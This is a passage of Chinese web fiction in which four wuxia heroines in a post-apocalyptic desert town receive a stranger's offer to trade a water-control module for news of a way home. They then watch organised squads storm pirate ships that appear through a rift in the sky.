灰斗篷咬了咬牙,脚下忽然荡开一圈灰白气流,他的身影猛地一虚。 那不是轻功,小童子和小龙女躲在二楼断墙后,看见他脚踝处似有什么东西亮了一瞬,下一刻,整个人便贴着地面冲了出去。斗篷被风扯成一道灰影,脚下沙尘拉出细长的一线。他几乎不像在跑,更像是被某种力量推着向前,眨眼间便掠过七八丈。 这大约就是广播里提到的异能者,小童子和小龙女心中同时生出这个念头。 也就在他加速的一刹那,楼上一块石头飞了出来。 石头只比拳头大些,外面裹着水泥灰,起初只是斜斜掠过墙壁,可到了半空,竟像被什么牵了一下,硬生生拐了个弯,朝灰影追去。 灰斗篷看见了,可他只是低级速度异能者,冲起来够快,收势和转向却远远跟不上。人快,石头也快,等他想侧身避开时,那块石头已经砸到眼前。 “砰!”石头重重砸上他的额角。 灰斗篷闷哼一声,被自己的速度带得往前一栽,在沙地上滚了两圈,撞上半埋在楼下的水泥断梁才停下。 灰斗篷抬手摸了一下额头,掌心湿热。血顺着眉骨流下来,很快被沙尘糊住。 他吸了口气,抬头看去,四个人站在上方楼层。 李秀宁站在断墙边,身形挺直,垂眼看着他,像在看一处已经量过距离的战场。 他终于明白,自己不是跟丢了,是被引进来了。 李秀宁道:“从交易中心出来,你跟了我们五条街。” 灰斗篷沉默片刻,慢慢举起双手,示意自己没有拿枪,也没有握刀。 “抱歉,冒犯了。”他说得很慢,语气里没有半点轻慢,“我不是来抢劫的,我是来和你们做交易的。” 铁心兰刀尖一转:“跟了别人几条街,被发现了才说要做交易。这里谈买卖,都这么讲究?” 灰斗篷仰头看着她们,又往旁边挪了半步,避开断梁边缘凸出的钢筋。 “西南沙丘异常区,你们刚才听见广播了吧?”他说,“我想请你们帮我从里面带出来一件东西。” 李秀宁依然冷漠:“为什么找我们?” 他像早知道她会问,仰头看着上方四人,额角的血又流下一点。他没有再擦,认真道:“第一,因为你们在交易中心拿出了晶核。能拿晶核出来交易的人,都代表有一定的实力。” 他说到这里,目光落在小童子和小龙女身上: “第二,因为她们两个。” 小童子和小龙女不解:“我们?” 灰斗篷点头:“你们两个眼神、站姿、落脚的方式都不一样。原住民大多没有练过武,走路站立都随意得多,肩背也松;可你们站得太稳,步子太轻,抬眼看人时也不躲不闪。这种身法和气息,只有古武者才会有。” 小龙女道:“所以你猜我们是古武人?” “对!从站姿、步法和气息看,你们不像普通异能者团队。排除下来,便只有古武人了。至于另外两位……”他看了李秀宁和铁心兰一眼,神色更慎重了些,“你俩走路、呼吸、看人的方式都和我们这些原住民很像。是本来就属于这里,还是在这个世界待久了,学会把自己藏进去,我看不出来。” 那人眉骨上的血滴到眼睛上,他随手抹了一把:“但这不妨碍我要找你们,我手里有一点东西,或许正是你们古武人会在意的。” 那人说到这里停了一下,像是想确认她们是否愿意继续听。可四人神色都淡淡的,谁也没有顺着他的话往下接,只安静地等他自己把话说完。 那人没有再绕弯,继续往下说:“灾前这片城下面有地下淡水系统,三号水站只是露在外面的一处口子。灾难一来,系统锁死,管道污染,很多阀门都开不了。可在地底很深的地方,依然有丰富的淡水。” 他顿了顿,又道:“控水模块就是打开地下水源的核心,它巴掌大小,灰黑色,正面有裂开的蓝屏,插进主控台,就能让地下蓄水区重新出水。灾难刚开始时,各个势力都抢过这东西,后来几经转手,模块就失踪了。最近有人在西南沙丘异常区里见过类似的东西,我也是刚拿到这个消息。” 李秀宁嗤笑:“这么好的东西,你不找三号水站、灰堡营、沙蜥车队,反而找我们?” 那人沉默了一瞬,声音低了些:“灰堡营要是知道我知道控水模块在哪,今晚就能把我吊到水塔下面鞭打。沙蜥车队听见风声,会先打断我的腿,再慢慢问位置。三号水站更干脆,他们会先递给我一瓶水,等我喝完,我就永远无法再开口。” “我不想把命卖给他们。”他顿了顿,情绪明显低落,“东西落到他们手里,只会变成下一条勒住所有人的绳子。可要是水真能重新流出来,谁都能喝上一口干净水,我也能给自己换一条活路。” “你们进异常区,把控水模块带出来。东西到手,我用一条关于古武人回家的消息换它。你们得消息,我得水和活路,这笔交易各取所需。” 李秀宁更冷漠了,脸上的轻松也消失无踪:“你说我们就信?” 那人抬起头,语气诚恳而笃定:“我现在没法让你们信我,但你们只要去异常区看一眼,就会信。” 他抬手抹去额角的血,手臂横过眉眼的一瞬,视线借着遮挡飞快掠过四周,拐角、断墙上的破窗,还有窗下那个被偷走井盖、只剩一圈生锈铁边的下水道口,都被他记了下来。 他放下手,仍仰头看着她们:“如果你们能从异常区带出来控水模块,就来城市B区原垃圾回收站找我。我用消息和你们换模块。” 话音未落,他脚下灰白气流一荡,身形骤然一虚,猛地冲入拐角,翻身从那扇一楼破窗背跃出去。 小童子和小龙女飞速掠到窗前时,那人已经借着落地的冲势在沙地上一滚,半个身子滑进了下水道口。两人正要提气追下去,远处却忽然传来一阵沉闷的轰鸣声。 那声音由远及近,沉沉地压过废城上空。小童子和小龙女同时转头望向声音传来的方向,脚步便在窗前顿住了。 也就是这一瞬,灰斗篷彻底坠入井下黑暗。 72.沙尘暴 远处有个巨大的机器悬在空中,顶上横着一根飞快旋转的铁杆。 李秀宁和铁心兰走过来,见两人怔怔望着窗外,也顺着看了一眼,才发现那是一架直升机。 李秀宁神情一肃:“看来原住民对异常区的备战很谨慎,连直升机都出动了,不知在运送什么人手和物资。先别看了,我们找个地方休息一下。” 三人跟着李秀宁离开,这次她没有再带着几人绕路,只挑了一栋看起来隐蔽又结实的楼房,推门进去。 进屋后,几人再次补充了水和能量。 李秀宁提议:“我们一会儿先到异常区附近看看,看清楚异常区究竟是什么,若情况太凶险,就不参与。” 小童子疑惑:“这就是我们刚才不报名的原因吗?” 李秀宁喝了口水:“不止。若是报名参加,我们只会变成别人队伍里的消耗品。不是正式成员,就只能去做最危险、最脏的活。我们不缺物资,没必要把自己送进去。” 小龙女思索片刻:“刚才那人要我们去异常区取控水模块,此事恐怕另有隐情。” 小童子补充:“在交易中心时,他看着我和龙儿笑,那个笑容让我不舒服。” 李秀宁点头:“我也觉得此人并不像表面那样诚恳。他对当地势力如此熟悉,又能打听到控水模块这样的重要元件,背后多半另有势力。若真是如此,他说自己只是想让沙漠里的人喝上一口干净水,便未必可信了。” 她顿了顿,又道:“控水模块牵涉水源,谁拿到它,谁就能搅动现有的势力格局。更何况,他分辨古武人的方式太熟练了,让我不得不怀疑,他或许是专门盯着古武人下手的古武猎手。” 铁心兰接话:“不管如何,我们先到异常区附近看看,再决定要不要行动。若条件允许,再考虑取控水模块。毕竟那关系到回家的线索,不管是真是假,都值得一试。可若太过危险,也没必要拿命去赌。” 几人都无异议,商量妥当后,铁心兰表示由她戒备,让众人先休息片刻。 几人不过小睡了一会儿,沙漠里便起了沙尘暴。方才刺眼的日光不见了,破窗外只剩一片浑浊黄影,像有人把沙子磨成雾,把它们扬进了整片天地。 不等铁心兰出声提醒,几人便陆续睁开了眼。 铁心兰望着窗外漫天黄沙:“是沙尘暴。” “走。”李秀宁道,“沙尘暴很可能是异常区开启带来的现象。” 这句话刚落,脚下楼板便发出一声低沉的闷响,是承重处被风沙吹得松动,墙体和楼板一齐挤压变形时发出的声音。 李秀宁已经掠向窗口,铁心兰一把抓起地上的背包,将包往肩上一挎,跟着翻了出去。小龙女牵住小童子,足尖在窗沿一点,两人身形轻得像两片被风托起的叶子,随在她们身后离开房间。 四人刚翻窗落下,沙尘便劈头盖脸扑来,细沙密密麻麻,像无数针尖,打在脸上、手背上、脖颈上,带着被日头晒透的灼热。小童子下意识眯眼,眼睫上立刻沾满沙粒,眼眶被磨得发疼。 她只走了几步,便觉得睁眼极难。眼前所有东西都变成了黄的,楼影是黄的,天也是黄的。连李秀宁和铁心兰的白斗篷,都被沙尘染成暗淡的灰黄。远处本该能看见的街道和楼群,全都被风沙吞掉,只剩模糊轮廓,像隔着一层厚厚的脏布。 小龙女的眼睛被沙粒刺得微微泛红,飞快抬袖挡住脸。 两人很快都闭上眼,她们原本想用听力辨路,可沙尘暴里声音太满,太乱。沙粒撞在墙面、铁皮、窗框和风衣上,声音细碎且密;远处招牌摇晃,门窗摔打,碎石滚动,每一道声响都被风撕碎,又混在一起压进耳中。 小童子努力分辨片刻,只觉得脑中嗡嗡作响。小龙女也微微蹙眉,指尖揉了揉耳朵。她们听见了许多东西,却很难判断哪一声在近处,哪一声只是被风卷来的回响。 “低头!”李秀宁喝道。 几人应声低头,一块不知从哪里吹来的铁片就擦着几人头顶飞过,砰地撞在后方墙面上,碎成几片。 铁心兰被风吹得往旁边一晃,赶紧压低身体,同时低声骂了一句:“这鬼天气能杀人!” 李秀宁没有回头,只从背包里摸出两副防风镜。她把其中一副递给铁心兰,自己迅速戴上。铁心兰也熟练地将防风镜扣住,镜片上很快响起细沙撞击的噼啪声。 李秀宁看向小龙女和小童子,声音被风扯得有些散,却仍尽量说得清楚:“抱歉,准备眼镜物资的时候,还未遇见两位,我们只有两副防风镜。” 铁心兰接着道:“风里睁眼会伤眼睛,你俩闭着正好。请两位把手给我们,我们带你俩去目的地。” 小童子和小龙女没有迟疑,闭着眼各自把手搭上铁心兰和李秀宁的肩膀。 李秀宁记着这片沙漠绿洲的地形,哪怕风沙遮眼,也能在脑海勾出大致路线。她带着几人贴墙而行,不走开阔地,也不轻易跃上高处。沙尘暴里越往上风越强,轻功越好的人越容易被横风卷飞。 四人往西南方向摸索过去,走得越久,迎面而来的风便越重,沙尘也不再只是横扫,而是一阵阵从前方压来,像有个巨大的风口藏在黄沙深处。 李秀宁感觉到脚下传来极轻的震动,像有许多沉重东西正隔着沙层移动,她便停下来,侧耳听了片刻。她隔着风沙隐隐捕捉到一片连续的声响,像是大批人员走动和车辆运转。她判断异常区应当就在附近,便带着三人拐向旁边一栋较高的楼房。 一进门,世界骤然暗了下来。大部分风沙被厚墙挡在外头,方才那种贴着脸皮刮过的疼痛终于轻了许多。 可楼里并不安静,风从破窗和楼道裂缝里钻进来,在空荡荡的房间之间回旋,拖出一阵阵低哑的呜声。墙角堆着厚厚的沙,地面上散落着玻璃、碎砖和一些早已看不出用途的杂物。 小童子和小龙女察觉风势稍缓,扑在脸上的沙尘也少了许多,这才试探着睁开眼。 小童子眼眶酸得厉害,睫毛上沾着细小沙粒,视线里一片湿热。她抬手想揉,被小龙女轻轻按住手腕。 “别揉。”小龙女低声道,“我来。” 小童子便乖乖闭上眼,小龙女俯近些,指尖轻轻拂过她的睫毛,把沾在上面的细沙一点点抚落。那动作轻柔,指腹柔软而微凉,擦过眼皮时,给小童子带来一种很舒服的触感。 等她睁开眼,第一眼看见的便是小龙女有些微红的眼尾。 小童子怔了怔,随即抬起手,小心扶住她的脸:“你也进沙子了?” 小龙女本想说无妨,可小童子已经凑近看了过来。她看得认真,指尖贴在小龙女脸侧,力道轻得像怕碰 疼了她。 “有一点。”小童子声音也放轻了,“我帮你吹掉。” 她轻轻吹了一口气,细小粉尘从小龙女眼睫间散开。那一息很轻,带着小童子身上淡淡的香,也混着一点黄沙的干燥气息。小龙女垂着眼,没有避开,只觉得眼前那点刺痛慢慢淡了下去,连风沙声都仿佛远了一瞬。 小童子仍扶着她的脸,认真问:“好些了吗?” 小龙女看着她,唇边浮起一点很浅的笑:“好多了,谢谢童儿。” 她握住小童子的手,将那只手从脸侧轻轻拿下,却没有松开。小童子也没有抽回去,只顺着她的动作换了个姿势。 两人的手便自然而然牵在了一处,指缝贴着指缝,掌心被风沙吹得微凉,却又很快暖起来。 铁心兰摘下防风镜,镜片外侧已经黄得几乎看不清。她用袖口擦了擦,又重新扣回额前,没有彻底收起。 李秀宁也暂时摘下防风镜,靠墙缓了口气。想起方才在风沙里听见的大批脚步和车辆声,她的脸色比平日更凝重。她唇上沾着一点干裂的血色,人却没有停留太久,很快抬头看向楼梯:“上去吧,越高越能看清异常区。” 楼梯间狭窄,扶手锈迹斑斑,许多地方已经断开。台阶上积着沙,踩上去会发出轻微的摩擦声。 四人稳稳向上,每上一层,外面的风声都更尖一些,穿过破窗和裂缝时忽高忽低,听得人心里发紧。 几人爬到高层时,风又明显强了些。 李秀宁在走廊尽头找到一处阳台,阳台外侧有一段矮墙,虽然布满裂纹,却还算完整。她先出去检查一圈,随后招手让三人跟上。 三人刚踏出去,黄沙便迎面扑来。高处没有太多遮挡,风比楼下更急。小童子才睁开的眼又被逼得眯起,小龙女连忙帮她戴紧风帽,揽着她来到矮墙后方。铁心兰则将背包卸下,从里面取出两个望远镜,递给小龙女和小童子。 “拿着。”铁心兰道,“贴紧眼眶,别让沙子钻进去。” 李秀宁补充:“你俩用望远镜,我和心兰用防风镜。旁边那个圆钮可以调清楚,慢慢转,别急。” 四人先是往楼下那一群又一群的人望去,那些人不是散乱站着,而是按着不同队伍分成许多块。 有些队伍穿着破旧护具,手里的武器五花八门,有砍刀、长矛、铁棍,也有临时焊出来的盾牌和几把看着便不太可靠的旧枪。他们站得稀稀疏疏,许多人不时回头张望,显然心里并不安稳。 另一边则是装备整齐得多的部队,他们穿着统一的防护服和头盔,枪械被护在胸前。旁边还有一支身上几乎没有护具的队伍,衣着各异,手中也没有明显武器,却站得异常整齐,像早已习惯在这种地方等待命令。 更后方,还有一些人围着仪器忙碌。支架、线缆、闪烁的屏幕、被沙袋压住的帆布,全都在风里摇晃。有人用身体挡住设备,有人不断对着通讯器说话,声音被风撕得七零八落,却仍能看出一种紧绷到极点的秩序。 再远一些的地方,被几栋倒塌的房子挡住了视线。四人看不清那后面还有什么,只能隐约看见黄沙里不断有人影晃动,似乎还有更多队伍藏在视野之外。 “看天上。”李秀宁忽然道。 三人顺着她所指方向看去,沙地上空,悬着一道巨大的裂缝。 73.大海 那裂缝并非黑色,也不是云层破开时的白。它泛着五颜六色的光,红、黄、蓝、绿、紫交错闪烁,边缘不断扭曲,像一块烧融的彩色琉璃被拉成狭长裂口。裂缝周围的空间微微颤动,巨大的风力正从里面吹出来。 四人这才明白,外面铺天盖地的沙尘暴并不是沙漠自然起风,而是那道裂缝在向外吐风。它像另一个世界破开的口子,把里面的气息、湿意、腥味一并喷进这片干死的沙漠。风从高处压下,又撞上地面,卷起沙子,扩散成覆盖整片城镇的黄灾。 李秀宁视线没有离开裂缝:“异常区正在成型。” 随着她话音落下,那道裂缝又向两侧撕开了一些。彩光边缘像被无形的手拉扯,发出无声的震颤。裂缝内部原本只有混沌的光影,渐渐却出现了别的东西。 先是一片深色的水,阴沉沉的深蓝,浪头起伏,水面上浮着白沫。风从那片海上吹来,带着潮湿的咸腥味,混进干燥黄沙里,形成一种古怪到令人作呕的气息。 “居然是海。”李秀宁惊讶。 海? 从来没有见过海的小龙女和小童子同时怔住,她们只在书里见过这个字,知道那是比湖泊更大的水,可眼前这片深蓝根本不是“大”字能够形容的。它没有岸,没有边,浪一层接着一层翻起白沫,像整片天地都在那道裂缝后缓慢起伏。 小龙女罕见地失神了一瞬,她见过寒潭,见过山泉,可那些水都是安静的,眼前的海却像活物,沉沉压在裂缝另一侧,浪声隔着风沙传来,低得像无数巨兽在远处嘶吼。 “这就是海?”小童子下意识抓紧了栏杆,喃喃道。她微微向前倾了一点,目光追着那片水色往远处去,却怎么也望不到尽头。 就在那片起伏的深蓝之上,几道庞大的黑影从海雾里缓缓压了出来。起初只像远处的山,等浪头托着它们升起,四人才看清那竟是一艘艘船。最前方一艘已经逼近裂缝,后面还有第二艘、第三艘,沉默地排在阴沉海面上。 那些木船船身高耸,像一座座浮在海上的黑色楼阁。木板被海水泡得发暗,许多地方生着藤壶和水藻,湿漉漉地挂在船侧。船舷上布满划痕和裂口,像经历过无数次撞击。桅杆高高竖起,破旧帆布被风鼓动,发出沉闷的拍击声。 三艘船的桅杆上,都挂着黑色旗子。 只是后两艘隔着海雾和浪影,只能看见黑旗在风里翻卷。唯有最前方那一面离得最近,在海风和沙风交错中猎猎展开,上面画着一只白森森的人头骨。 那图案并不精致,却格外刺眼。黄沙、彩光、海雾和黑旗混在一起,荒唐又可怖地把这片末日沙漠与某片腐烂海域强行缝在了一处。 李秀宁看着那旗子,眉头轻轻皱起。她见过江湖中许多门派旗号,也见过山寨匪徒用来壮胆的标记。可这面黑旗不同,它没有多少装饰,只有粗糙的白骨图案反复在风里展开,简单、醒目,也更像某种被人刻意保留下来的威吓标记。 裂缝继续扩大,起初它还只是半空中一道撕裂的口子,后来边缘不断向外撑开,渐渐变成一个巨大的圆。 圆形边缘彩光流转,内部则完整显出那片海面和数艘海盗船。最诡异的是,海水明明在圆中翻涌,却没有倾泻下来。它像被某种力量固定在另一侧,只把风、气味和船只的影子送到这边。 当裂缝终于扩成正圆时,那种几乎要把整座城镇撕碎的呼啸声低了下去。余风还在街巷间盘旋,却已经失了先前的力道,黄沙也随之慢慢下沉。远处建筑的轮廓一点点浮现,沙地上的队伍也变得清晰许多。 小童子放下望远镜,眨了眨眼。前方仍罩着一层未散尽的黄雾,风沙已经不再扑面,不再有细碎沙粒迎面撞进眼眶。 李秀宁注意到楼下队列有所变化:“他们动了。” 沙地上,有一队人从原本的阵列中出列。那些人手中没有防具和武器,行进间能看出训练痕迹,队形却依旧略显松散。直到他们同时抬起双手,掌心泛起黄光,动作才骤然变得一致。 黄光并不刺眼,像埋在沙里的火。随着他们抬手,地面的沙子开始流动。起初只是脚边一圈沙粒轻轻震颤,随后越来越多的沙被牵引过去,堆叠、压实、抬升,像有一条看不见的脊骨从沙地下方长出。 一条沙路在众人眼前慢慢成形,它从地面一路斜斜向上,通往半空中的正圆裂缝。沙子明明松散,却在黄光控制下变得坚实,边缘不断有流沙滚落,又不断被新的沙填补。那条路越升越高,像沙漠伸出的一只手,试图触碰另一个世界。 小童子和小龙女惊讶:“他们怎么做到的?” 铁心兰道:“土系或控沙一类的异能者。” 李秀宁却没有只看那条沙路,她的目光落在那队人身上,神色不轻松:“他们居然能凑出一整队能力相近的人,能把同类异能者筛出来、编成队、训练到这种程度,联合队比表面上更有底子。” 她顿了顿,又看向半空中逐渐稳住的沙路:“而且这么高的路,若中途散了,上面的人一个都活不了。” 沙路搭成后,前方指挥车上传来扩音器的声音:“开荒队前行!” 命令落下,阵列中原本站得松散的方阵动了。 那些人像被一只无形的手往前推去,乱七八糟地冲上沙路。有人拎着长刀,有人端着旧枪,有人双手空空,只在掌心凝出火焰或冰柱。 队伍毫无整齐可言,前后间隔也乱得厉害。有人跑得太急,脚下打滑,险些从沙路边缘摔下去,被旁边的人一把拽住;有人脸色发白,咬着牙往前冲了几步,却跪下呕吐。 开荒队沿着沙路一路奔向半空,随着距离靠近,圆形裂缝边缘的彩光映在他们身上,把每个人都照得忽明忽暗。最前面几人冲入圆中时,身影像穿过一层水膜,短暂扭曲了一下,随后便出现在海盗船的甲板上。 那艘木船比远看时更巨大,甲板湿滑发黑,缝隙里长着青绿色的水藻,木桶、绳索、破网散落各处。开荒队的人刚站稳,船舱阴影里便传来一阵尖锐怪叫。 一群不像人的玩意从船舱冲出,举着武器向开荒队疾驰。 有的上半身像人,腰以下却拖着鱼尾一样的湿滑躯体,鳞片在阴暗光线里泛着冷光;有的脖颈两侧裂开腮状缝隙,呼吸时一张一合,嘴里露出细密尖牙;还有的手臂粗壮得不似人形,皮肤上长着甲壳,肩背处伸出几根弯曲硬刺。 它们穿着破烂海盗服,身上挂满腐朽绳结、贝壳和锈蚀金属片,脚步落在甲板上时,带起黏腻水声。 最前方一个海盗提着弯刀扑出,它的脸还保留着人的五官,眼睛却凸得像鱼,瞳孔浑浊发黄。弯刀横斩过去,一名开荒队成员刚举起破旧的铁盾,盾牌便被斜斜劈开,连同他半边身体一起断裂。 鲜血溅在湿黑甲板上,很快就被一个海浪冲淡。 枪声随即响起,开荒队里有人举枪反击,可他们的枪械残旧,有些子弹打在海盗身上,只溅起一点血花;有些打中鳞甲,竟被硬生生弹飞,擦出细小火星。 一个长着章鱼腕足般手臂的海盗从桅杆后滑下,抬起一支老旧火枪。那枪看着像古物,枪口却涌出黑红色光芒。 砰! 几名开荒队成员同时中弹倒地,胸口炸开焦黑血洞。还有一人被余波掀翻,从甲板边缘滚落,半个身子悬在外面,拼命想要抓住船舷,最后被一股海浪吞没。 小童子和小龙女终于明白先前李秀宁为什么说,报名只会成为别人队伍里的消耗品。所谓开荒队,分明就是用血肉去试探那片异常区的凶险。 “近战部队进攻!” 第二道命令响起,沙地上又有一支队伍开始行动。他们迈着整齐步伐冲上沙路,与开荒队的混乱截然不同。那些人身上穿着同样的轻便护甲,左手统一扣着护盾,右手提着制式大砍刀,盾面成排,刀锋压低,随着同一个步伐向前冲去,脚步声隔着风沙仍显得齐整而沉重。 开荒队还在甲板上拼命撕扯缺口,他们已经死伤惨重,却没有一个人退下。前面的人倒了,后面的人立刻踩着血水补上去,用肩膀、手臂、胸膛硬生生堵住那些怪物海盗的冲势。 有人挥刀砍向海盗膝弯,刀刃刚嵌进湿滑鳞甲,便被反手一钩拖进阴影,只剩半声惨叫被浪声吞没;有人一掌按上海盗肩背,火焰轰地烧起,鳞甲瞬间卷黑,可下一刻,海盗张口喷出水柱,火光炸成白烟,那人的胸口也被一爪拍塌;还有人整只手臂化作岩石,硬生生顶住一个甲壳海盗的撞击,岩臂寸寸开裂,双腿在甲板上犁出两道血痕,仍咬着牙没有松手。 他们在用命替后方近战部队撑出一小片可以落脚的甲板。 近战队最前方的人刚踏上湿滑木板,后续队员便迅速填入空位,肩贴着肩,盾贴着盾。下一瞬,所有近战队员同时沉肩,左手护盾向前一扣,盾沿咬住盾沿,转眼就在船舷缺口前集成了一整面盾墙。 “开荒队后撤!”指挥的吼声几乎同时炸开。 小童子四人站在楼上,只看见开荒队这群残兵,拖着伤者向两侧后撤。有人 伤口翻卷,半条胳膊垂在身侧;有人刚退两步便跪倒在血水里,又被同伴一把拽起,狼狈地缩向盾墙之后。 也就在那一瞬,整面盾墙向前猛推出去,砰! 扑到近前的怪物海盗来不及收势,正面撞上盾墙,被一排排护盾顶得离地倒飞,后面的海盗也被前排海盗撞得连连后仰。 近战队没有追乱,趁着前排海盗倒地翻滚的瞬间,所有人右手同时亮出大砍刀。刀光几乎连成一线,朝倒地的怪物海盗一人补上一刀。有人斩断脖颈,有人劈开胸甲,有人剁进膝弯,可无论那一刀砍得多深,都没有人贪第二刀。 刀锋一落即收,盾牌重新顶上,整支队伍立刻分化成五人一组,前三人主守,盾牌交错顶住海盗反扑而来的刀锋、利爪和撞击;后两人贴在盾后,刀锋压低,只等敌人盾缝里露出破绽,便一步踏出,横斩膝弯,反劈脖颈。 开荒队也顺势躲到盾后喘息,他们没有完全退下,而是贴着盾墙两侧游走,抓住怪物被撞歪、被砍停的瞬间补刀。有人把短刀扎进海盗肋下,有人用冰柱插进水藻缠绕的关节,还有人跪在血水里抱住一条怪物的腿,硬拖得它失去平衡。 刀盾相撞的闷响接连炸开,大砍刀砍在鳞甲和甲壳上,火星与黏液一起飞溅。随着近战部队加入,甲板上那道随时会崩溃的缺口终于稳住了。怪物海盗不再单方面碾压人类,人类这边也不再只能拿命去填。双方在湿滑甲板上反复冲撞、推挤、撕咬,竟被硬生生拉成了五五开的僵局。 偶有一两名海盗被合力斩倒,却没有流出太多血,而是在彩光闪烁中迅速泡沫化,最后竟变成一块块焦黄的饼干状东西,啪嗒落在湿滑木板上。 小童子和小龙女一惊:“它们变成了饼干?” 李秀宁思索:“可能是异常区规则?死亡后会转化成某种物品?还是说这是他们的本体?” 铁心兰惊悚:“我们从交易中心换来的食物不会出自这里吧?!” 四人胃里同时一阵翻涌,铁心兰更是捂住嘴,连着干呕了几下。再抬起头时,她的眼眶已经红了一圈,湿漉漉的眼神让李秀宁想起一头受惊的小鹿。 李秀宁心里掠过一丝说不清的怪异,她明明有些心疼那双眼睛,却又在同一瞬间生出一点阴暗的念头,想看它们真的掉下泪来。 这个念头刚冒出来,便被下方指挥车上的扩音器打断:“步枪队跟进,随行者队伍跟上!” 这一次冲出的,是另一支装备更加统一的火力队伍。 他们从沙地后方列队而出,步伐整齐,身上穿着统一防护服,枪械被护在胸前。一阵风吹过,沙粒扫过他们的护目镜和肩甲,发出细细的刮擦声。他们像一排沉默的铁人,沿着沙路冲向半空中的异常区。 铁心兰眯了眯眼:“等近战队站稳,他们才好架枪。” 李秀宁点头:“甲板太窄,先上步枪队,只会被海盗贴身冲散。要先让近战队把线顶住,争取到有效射程,步枪队才能发挥最大效用。” 说话间,步枪队已经冲上甲板。他们没有挤到最前,而是在近战队身后迅速展开。前排半跪压低枪口,后排站立举枪,枪管从前排肩侧探出,密集地扫向船舱口、桅杆后和船舷两侧冲出的海盗。 李秀宁顿了顿,视线扫过前方不断变阵的近战队,又落到后方交替开火的步枪队:“而且步枪队和近战队都很像军人,近战队五人一组,三盾二刀,进退不乱;步枪队前跪后立,越过盾墙射击,没有抢位。两支队伍一前一后衔接得太顺,步伐、口令、停顿和推进,都像早就刻进骨头里了。” 铁心兰忍着恶心:“末日前的军队?” “很可能。”李秀宁凝神,不再看铁心兰的眼睛,“只是末日之后,军队未必还受官方管。在乱世能保住武器、训练和指挥体系的人,多半变成一方军阀。” 小龙女忽然问:“你为什么会懂这些军队里的事?” 小童子也看向李秀宁,她和龙儿见过不少江湖人,却从没真正见过正规军,更别说一眼看出队列、口令和战术衔接的门道。 李秀宁神色稍正:“其实我本来就不是江湖人,我父亲是李渊,兄长是李世民。我从小见惯的,不是门派争斗,而是军议、政令、兵马调度。” 铁心兰眨了眨眼,故意笑道:“原来你才是货真价实的大小姐,我们这些行走江湖的小民,以后可要请你多多担待了。” 李秀宁看着她眼底还没完全褪去的红意,唇角微微一弯:“我会好好照顾你……们的。” 74.战局 小童子重新举起望远镜,步枪队一加入,甲板上的局面立刻变了。 枪声在海风里连成一片,子弹越过盾墙和刀锋,打得木屑乱飞。几个海盗中弹后身体剧烈抽搐,接连倒在湿黑甲板上,化成矿泉水、面包、糖果一类的物资。 原本和人类僵持不下的怪物海盗,第一次被压得抬不起头,像是要被盾墙和火力硬生生推回船舱深处。 可船舱里的怪叫声没有停,新的海盗仍在源源不断地涌出来。 步枪队一轮齐射打空,前、后排也低头更换弹匣的刹那,海盗们立刻抓住空隙反扑。 有的海盗直接抓起前方的同伴,那同类被抡起时尖叫出声,随即像木桩一样撞向盾墙。沉重的身体砸在盾牌上,几名盾手被砸得脚下一滑,连人带盾摔倒在甲板上。 缺口一露,后面的海盗便尖叫着扑了上来。 它们用利爪扒住盾沿,龇着利牙咬断盾手的脖子,还有海盗踩着同伴的背脊上跳越过盾墙,扑向后方来不及退开的开荒队和步枪队。人类的伤亡一下子又多了起来,血水顺着甲板缝隙往下淌,刚被压住的战线再次摇晃。 直到步枪队重新装好子弹,第二轮枪声炸开,海盗才又被打得连连后退。 但这一次,海盗们也学会了应对。身披鳞甲的海盗主动顶到最前面,用厚硬鳞片挡住子弹;没有鳞甲的,便缩在同伴身后,甚至把还没倒下的同类拽到身前挡枪。更狡猾的海盗藏在鳞甲同伴背后,从肩侧探出老旧火枪,朝盾墙后的步枪队反击。 战场仍旧混乱,可混乱里已经有了章法。人类靠盾墙和火力稳住阵脚,海盗则靠数量、鳞甲和船舱里源源不断的增援往外顶。双方在湿黑甲板上反复拉扯,刚刚露出的碾压苗头很快被压了回去,局面重新变成五五开的僵持。 随行者队伍也登陆了甲板,他们没有护甲,也没有武器,身上只有一套简单衣服和一个鼓鼓囊囊的大袋子。 上船时,袋里装的不是物资,而是沉重的沙。随行者先把黄沙倒在甲板上,再用空袋去装那些掉落的饼干、糖果一样的东西。 有些掉落物还沾着血和水藻,他们也不嫌弃,手一探一抓,塞进袋里。袋子一满,随行者便沿着沙路跌跌撞撞往下跑,把物资送回沙漠阵营。下方早有卡车等着,有人接袋、倒货、登记,再把装满的箱子一箱箱搬上车。 倒空物资的随行者没有停留,又背起一袋新沙,转身冲回半空中的异常区。上船倒沙,捡满物资,下船交货,再背沙上去,整条沙路上都是这样来回奔跑的人影。 小龙女看得微微皱眉:“他们在收集战利品,我们吃的食物果然来自于此。不过,他们为什么要背沙子上去?” 话音未落,一个随行者刚弯腰捡起一块焦黄饼干,便被海盗甩来的弯刀劈成两半。另一个人背着物资往回跑,正撞上步枪队扫来的流弹,当场扑倒在甲板上,鲜血直流,袋口散开,饼干、糖果和几块沾血的硬物滚得到处都是。 附近几个随行者几乎同时扑过去,不是扶人,而是抢物资。倒下的人还在抽搐,便被后来者踩过肩背。等甲板上暂时没有物资可捡,几名随行者又拖起自己人的尸体,像清理破木桶一样扔出船舷。 铁心兰心里发冷,随行者倒下后,旁边的人没有半分迟疑;物资散了就重新装袋,尸体挡路就立刻清空。死了一个人,流程甚至没有停顿一下。 他们绝不是第一次进入异常区,在这套冷冰冰的流程里,人的性命和异常区的掉落物,全都有各自的安排。 就在铁心兰盯着那些被拖走的尸体时,甲板正面忽然传来一声沉闷巨响。 四人的视线同时被拉回去,只见附近两艘海盗船不知何时调整了船身,侧舷一排排黑洞洞的炮口缓缓推出,正对着最前方那艘船上的混战区。 下一瞬,炮声炸开。沉闷的轰鸣几乎压过了所有喊杀声,数枚炮弹拖着黑烟砸进甲板。盾墙、海盗、开荒队和随行者全被卷进火光里,断裂的木板和残肢一起飞起。交战区被硬生生撕开一个大口子,海盗船的甲板也被炸出深坑,湿黑木屑从坑边喷溅出来。 那些被炮弹炸死的海盗没有泡沫化,也没有变成物资。碎裂的鳞甲、断肢和黏腻血肉摊在坑边,尸体只是尸体。 爆炸之后,受伤的海盗和人类很快又撞在一起。断盾重新顶上,残缺的海盗从坑边爬起,开荒队和随行者被卷回交战里,步枪队则在残破盾墙后重新架枪,朝船舱口和坑洞边缘压火。甲板上的坑洞还在往外冒烟,双方却已经踩着碎木和尸体继续厮杀。 下方指挥车里的声音再次传来:“异能队-金,上沙路!” 